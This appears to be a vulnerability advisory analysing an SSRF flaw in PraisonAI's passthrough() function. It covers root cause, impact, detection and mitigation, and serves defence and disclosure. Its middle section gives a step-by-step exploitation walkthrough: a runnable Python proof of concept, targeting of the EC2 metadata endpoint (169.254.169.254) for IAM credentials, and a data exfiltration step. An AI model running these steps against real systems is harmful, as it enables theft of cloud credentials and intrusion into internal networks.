CVE-2026-34936: 
Python vulnerability analysis and mitigation

CVE-2026-34936 is a Server-Side Request Forgery (SSRF) vulnerability in the passthrough() and apassthrough() functions of the PraisonAI Python package. The flaw allows an authenticated attacker with low privileges to supply a caller-controlled api_base parameter that is concatenated with an endpoint value and passed unsanitized to httpx.Client.request() when the litellm primary path raises an AttributeError. All versions of praisonai up to and including 4.5.89 are affected; version 4.5.90 contains the fix. The vulnerability carries a CVSS v3.1 base score of 7.7 (High) (GitHub Advisory, PraisonAI Advisory).

The root cause is CWE-918 (Server-Side Request Forgery): the passthrough() function in passthrough.py accepts api_base directly from the caller (line 92), and when an unrecognized custom_llm_provider triggers an AttributeError in the litellm path (line 109), the fallback constructs a URL as f"{api_base or 'https://api.openai.com'}{endpoint}" (line 110) and immediately passes it to httpx.Client.request() without any URL scheme validation, private IP range filtering, or domain allowlist check. An attacker with low-privilege network access can supply an arbitrary api_base (e.g., http://169.254.169.254 or http://10.x.x.x) and a non-existent custom_llm_provider to reliably trigger the fallback path. The Flask API server also deploys with AUTH_ENABLED = False by default, potentially widening the attack surface to unauthenticated network access in default deployments. A public proof-of-concept is included in the security advisory (GitHub Advisory, PraisonAI Advisory).

Successful exploitation allows the server to make HTTP requests to any host reachable from its network, enabling access to internal services such as Redis, Elasticsearch, and the Kubernetes API without authentication from within the VPC. On cloud infrastructure with IMDSv1 enabled (e.g., AWS EC2), an attacker can retrieve IAM credentials via the EC2 metadata endpoint (http://169.254.169.254), potentially leading to full cloud account compromise. The confidentiality impact is rated High with a changed scope, reflecting the ability to pivot from the application tier into otherwise-isolated internal infrastructure (GitHub Advisory, PraisonAI Advisory).

A working proof-of-concept exploit is publicly available in the GitHub security advisory, consisting of runnable Python code that demonstrates the SSRF by directing the server to make a GET request to an attacker-controlled listener (PraisonAI Advisory). The EPSS score is approximately 0.016% (4th percentile), indicating low current probability of exploitation in the wild, and there is no evidence of active in-the-wild exploitation or threat actor attribution at this time (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Reconnaissance: Identify a publicly or internally accessible PraisonAI instance running praisonai version ≤ 4.5.89. Note that the Flask API server defaults to AUTH_ENABLED = False, which may allow unauthenticated access.
2. Set up a listener: On an attacker-controlled host (or use an internal target such as the EC2 metadata service), start an HTTP listener: python3 -m http.server 8888.
3. Trigger the SSRF: Call the passthrough() function (directly or via the API) with a non-existent custom_llm_provider to force the AttributeError fallback, and supply the attacker-controlled api_base:

import sys, litellm
sys.path.insert(0, 'src/praisonai')
del litellm.llm_passthrough_route
from praisonai.capabilities.passthrough import passthrough
result = passthrough(
    endpoint="/ssrf-test",
    api_base="http://127.0.0.1:8888",
    method="GET",
    custom_llm_provider="__nonexistent__",
)
print(result)

4. Access internal services: Replace api_base with internal targets such as http://169.254.169.254 (EC2 IMDS) to retrieve IAM credentials, or http://10.x.x.x to probe internal services like Redis or the Kubernetes API.
5. Exfiltrate data: Parse the PassthroughResult response to extract sensitive data (e.g., IAM role credentials, internal API responses) for further lateral movement or privilege escalation (PraisonAI Advisory).

• Network: Outbound HTTP requests from the PraisonAI server process to internal IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or cloud metadata endpoints (169.254.169.254); unexpected connections to non-LLM-provider hosts originating from the application server.
• Logs: Application logs showing AttributeError exceptions from the litellm path in passthrough.py followed by fallback HTTP requests to unusual hosts; access logs on internal services (Redis, Elasticsearch, Kubernetes API) showing requests from the PraisonAI server IP.
• Process: The PraisonAI Python process initiating httpx connections to hosts outside the expected LLM API provider domains (e.g., OpenAI, Anthropic).
• File System: No specific file artifacts expected, but review for any credential files or tokens written to disk if IAM credentials were retrieved via the EC2 metadata service (PraisonAI Advisory).

Upgrade praisonai to version 4.5.90 or later, which contains the patch for this vulnerability (GitHub Advisory). As interim mitigations, implement URL scheme validation to reject non-HTTPS schemes, apply a domain allowlist restricting api_base to approved LLM provider domains, and block requests to private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and cloud metadata endpoints (169.254.169.254). Additionally, enable authentication (AUTH_ENABLED = True) on the Flask API server to prevent unauthenticated access, and consider enabling IMDSv2 on EC2 instances to limit metadata service exposure.

The vulnerability was reported by security researcher YeranG30 and published by the PraisonAI maintainer (MervinPraison) on March 31, 2026, with a patch released promptly in version 4.5.90 (PraisonAI Advisory). Brief community mentions appeared on Mastodon via @thehackerwire shortly after disclosure. No significant broader media coverage or notable researcher commentary beyond the advisory itself has been identified.